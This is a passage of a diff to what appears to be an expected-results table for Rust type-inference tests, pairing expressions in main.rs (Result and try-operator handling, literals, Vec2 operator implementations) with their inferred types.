LOCATION} | Result | +| main.rs:1195:43:1198:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1195:43:1198:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1196:13:1196:13 | x | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1196:17:1196:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1196:17:1196:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1196:17:1196:31 | TryExpr | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1196:28:1196:29 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1197:9:1197:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1197:9:1197:22 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1197:9:1197:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1197:20:1197:21 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1201:46:1205:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1201:46:1205:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1201:46:1205:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1202:13:1202:13 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1202:13:1202:13 | x | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1202:17:1202:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1202:17:1202:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1202:28:1202:29 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1203:13:1203:13 | y | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1203:17:1203:17 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1203:17:1203:17 | x | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1203:17:1203:18 | TryExpr | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1204:9:1204:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1204:9:1204:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1204:9:1204:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1204:20:1204:21 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1208:40:1213:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1208:40:1213:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1208:40:1213:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1209:13:1209:13 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1209:13:1209:13 | x | T | {EXTERNAL LOCATION} | Result | +| main.rs:1209:13:1209:13 | x | T.T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1209:17:1209:42 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1209:17:1209:42 | ...::Ok(...) | T | {EXTERNAL LOCATION} | Result | +| main.rs:1209:17:1209:42 | ...::Ok(...) | T.T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1209:28:1209:41 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1209:28:1209:41 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1209:39:1209:40 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1211:17:1211:17 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1211:17:1211:17 | x | T | {EXTERNAL LOCATION} | Result | +| main.rs:1211:17:1211:17 | x | T.T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1211:17:1211:18 | TryExpr | | {EXTERNAL LOCATION} | Result | +| main.rs:1211:17:1211:18 | TryExpr | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1211:17:1211:29 | ... .map(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1212:9:1212:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1212:9:1212:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1212:9:1212:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1212:20:1212:21 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1216:30:1216:34 | input | | {EXTERNAL LOCATION} | Result | +| main.rs:1216:30:1216:34 | input | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1216:30:1216:34 | input | T | main.rs:1216:20:1216:27 | T | +| main.rs:1216:69:1223:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1216:69:1223:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1216:69:1223:5 | { ... } | T | main.rs:1216:20:1216:27 | T | +| main.rs:1217:13:1217:17 | value | | main.rs:1216:20:1216:27 | T | +| main.rs:1217:21:1217:25 | input | | {EXTERNAL LOCATION} | Result | +| main.rs:1217:21:1217:25 | input | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1217:21:1217:25 | input | T | main.rs:1216:20:1216:27 | T | +| main.rs:1217:21:1217:26 | TryExpr | | main.rs:1216:20:1216:27 | T | +| main.rs:1218:22:1218:38 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1218:22:1218:38 | ...::Ok(...) | T | main.rs:1216:20:1216:27 | T | +| main.rs:1218:22:1221:10 | ... .and_then(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1218:33:1218:37 | value | | main.rs:1216:20:1216:27 | T | +| main.rs:1218:53:1221:9 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1218:53:1221:9 | { ... } | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1219:22:1219:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1222:9:1222:23 | ...::Err(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1222:9:1222:23 | ...::Err(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1222:9:1222:23 | ...::Err(...) | T | main.rs:1216:20:1216:27 | T | +| main.rs:1222:21:1222:22 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1226:37:1226:52 | try_same_error(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1226:37:1226:52 | try_same_error(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1226:37:1226:52 | try_same_error(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1227:22:1227:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1230:37:1230:55 | try_convert_error(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1230:37:1230:55 | try_convert_error(...) | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1230:37:1230:55 | try_convert_error(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1231:22:1231:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1234:37:1234:49 | try_chained(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1234:37:1234:49 | try_chained(...) | E | main.rs:1191:5:1192:14 | S2 | +| main.rs:1234:37:1234:49 | try_chained(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1235:22:1235:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1238:37:1238:63 | try_complex(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1238:37:1238:63 | try_complex(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1238:37:1238:63 | try_complex(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1238:49:1238:62 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1238:49:1238:62 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | +| main.rs:1238:49:1238:62 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | +| main.rs:1238:60:1238:61 | S1 | | main.rs:1188:5:1189:14 | S1 | +| main.rs:1239:22:1239:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1246:13:1246:13 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1246:22:1246:22 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1247:13:1247:13 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1247:17:1247:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:13:1248:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:17:1248:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:17:1248:21 | ... + ... | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:21:1248:21 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:13:1249:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:17:1249:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:17:1249:23 | x.abs() | | {EXTERNAL LOCATION} | i32 | +| main.rs:1250:13:1250:13 | c | | {EXTERNAL LOCATION} | char | +| main.rs:1250:17:1250:19 | 'c' | | {EXTERNAL LOCATION} | char | +| main.rs:1251:13:1251:17 | hello | | {EXTERNAL LOCATION} | str | +| main.rs:1251:21:1251:27 | "Hello" | | {EXTERNAL LOCATION} | str | +| main.rs:1252:13:1252:13 | f | | {EXTERNAL LOCATION} | f64 | +| main.rs:1252:17:1252:24 | 123.0f64 | | {EXTERNAL LOCATION} | f64 | +| main.rs:1253:13:1253:13 | t | | {EXTERNAL LOCATION} | bool | +| main.rs:1253:17:1253:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1254:13:1254:13 | f | | {EXTERNAL LOCATION} | bool | +| main.rs:1254:17:1254:21 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:13:1261:13 | x | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:17:1261:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:17:1261:29 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:25:1261:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:13:1262:13 | y | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:17:1262:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:17:1262:29 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:25:1262:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1264:13:1264:17 | mut a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1265:13:1265:16 | cond | | {EXTERNAL LOCATION} | bool | +| main.rs:1265:20:1265:21 | 34 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1265:20:1265:27 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1265:26:1265:27 | 33 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1266:12:1266:15 | cond | | {EXTERNAL LOCATION} | bool | +| main.rs:1267:17:1267:17 | z | | file://:0:0:0:0 | () | +| main.rs:1267:21:1267:27 | (...) | | file://:0:0:0:0 | () | +| main.rs:1267:22:1267:22 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:22:1267:26 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1267:26:1267:26 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1269:13:1269:13 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1269:13:1269:17 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1269:17:1269:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1271:9:1271:9 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1288:16:1288:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1288:22:1288:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1288:41:1293:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1289:13:1292:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1290:20:1290:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1290:20:1290:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1290:20:1290:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1290:29:1290:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1290:29:1290:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1291:20:1291:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1291:20:1291:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1291:20:1291:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1291:29:1291:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1291:29:1291:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1298:23:1298:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1298:23:1298:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1298:34:1298:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1299:13:1299:16 | self | | file://:0:0:0:0 | & | +| main.rs:1299:13:1299:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1299:13:1299:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1299:13:1299:27 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1299:23:1299:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1299:23:1299:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1300:13:1300:16 | self | | file://:0:0:0:0 | & | +| main.rs:1300:13:1300:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1300:13:1300:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1300:13:1300:27 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1300:23:1300:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1300:23:1300:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1306:16:1306:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1306:22:1306:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1306:41:1311:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1307:13:1310:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1308:20:1308:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1308:20:1308:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1308:20:1308:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1308:29:1308:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1308:29:1308:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:20:1309:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1309:20:1309:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:20:1309:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:29:1309:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1309:29:1309:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1316:23:1316:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1316:23:1316:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1316:34:1316:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1317:13:1317:16 | self | | file://:0:0:0:0 | & | +| main.rs:1317:13:1317:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1317:13:1317:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1317:13:1317:27 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1317:23:1317:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1317:23:1317:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1318:13:1318:16 | self | | file://:0:0:0:0 | & | +| main.rs:1318:13:1318:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1318:13:1318:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1318:13:1318:27 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1318:23:1318:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1318:23:1318:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1324:16:1324:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1324:22:1324:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1324:41:1329:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1325:13:1328:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1326:20:1326:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1326:20:1326:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1326:20:1326:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1326:29:1326:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1326:29:1326:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:20:1327:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1327:20:1327:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:20:1327:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:29:1327:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1327:29:1327:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1333:23:1333:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1333:23:1333:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1333:34:1333:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1334:13:1334:16 | self | | file://:0:0:0:0 | & | +| main.rs:1334:13:1334:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1334:13:1334:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1334:13:1334:27 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1334:23:1334:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1334:23:1334:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1335:13:1335:16 | self | | file://:0:0:0:0 | & | +| main.rs:1335:13:1335:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1335:13:1335:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1335:13:1335:27 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1335:23:1335:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1335:23:1335:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1341:16:1341:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1341:22:1341:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1341:41:1346:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1342:13:1345:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1343:20:1343:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1343:20:1343:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1343:20:1343:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1343:29:1343:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1343:29:1343:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1344:20:1344:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1344:20:1344:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1344:20:1344:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1344:29:1344:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1344:29:1344:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1350:23:1350:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1350:23:1350:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1350:34:1350:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1351:13:1351:16 | self | | file://:0:0:0:0 | & | +| main.rs:1351:13:1351:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1351:13:1351:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1351:13:1351:27 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1351:23:1351:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1351:23:1351:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1352:13:1352:16 | self | | file://:0:0:0:0 | & | +| main.rs:1352:13:1352:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1352:13:1352:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1352:13:1352:27 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1352:23:1352:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1352:23:1352:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1358:16:1358:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1358:22:1358:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1358:41:1363:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1359:13:1362:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1360:20:1360:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1360:20:1360:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1360:20:1360:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1360:29:1360:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1360:29:1360:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1361:20:1361:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1361:20:1361:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1361:20:1361:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1361:29:1361:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1361:29:1361:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1367:23:1367:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1367:23:1367:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1367:34:1367:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1368:13:1368:16 | self | | file://:0:0:0:0 | & | +| main.rs:1368:13:1368:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1368:13:1368:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1368:13:1368:27 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1368:23:1368:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1368:23:1368:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1369:13:1369:16 | self | | file://:0:0:0:0 | & | +| main.rs:1369:13:1369:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1369:13:1369:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1369:13:1369:27 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1369:23:1369:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1369:23:1369:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1375:19:1375:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1375:25:1375:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1375:44:1380:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1376:13:1379:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1377:20:1377:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1377:20:1377:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1377:20:1377:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1377:29:1377:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1377:29:1377:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1378:20:1378:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1378:20:1378:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1378:20:1378:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1378:29:1378:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1378:29:1378:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1384:26:1384:34 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1384:26:1384:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1384:37:1384:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1385:13:1385:16 | self | | file://:0:0:0:0 | & | +| main.rs:1385:13:1385:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1385:13:1385:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1385:13:1385:27 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1385:23:1385:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1385:23:1385:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1386:13:1386:16 | self | | file://:0:0:0:0 | & | +| main.rs:1386:13:1386:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1386:13:1386:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1386:13:1386:27 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1386:23:1386:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1386:23:1386:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1392:18:1392:21 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1392:24:1392:26 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1392:43:1397:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1393:13:1396:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1394:20:1394:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1394:20:1394:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1394:20:1394:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1394:29:1394:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1394:29:1394:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1395:20:1395:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1395:20:1395:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1395:20:1395:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1395:29:1395:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1395:29:1395:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1401:25:1401:33 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1401:25:1401:33 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1401:36:1401:38 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1402:13:1402:16 | self | | file://:0:0:0:0 | & | +| main.rs:1402:13:1402:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1402:13:1402:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1402:13:1402:27 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1402:23:1402:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1402:23:1402:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1403:13:1403:16 | self | | file://:0:0:0:0 | & | +| main.rs:1403:13:1403:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1403:13:1403:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1403:13:1403:27 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1403:23:1403:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1403:23:1403:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1409:19:1409:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1409:25:1409:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1409:44:1414:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1410:13:1413:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | 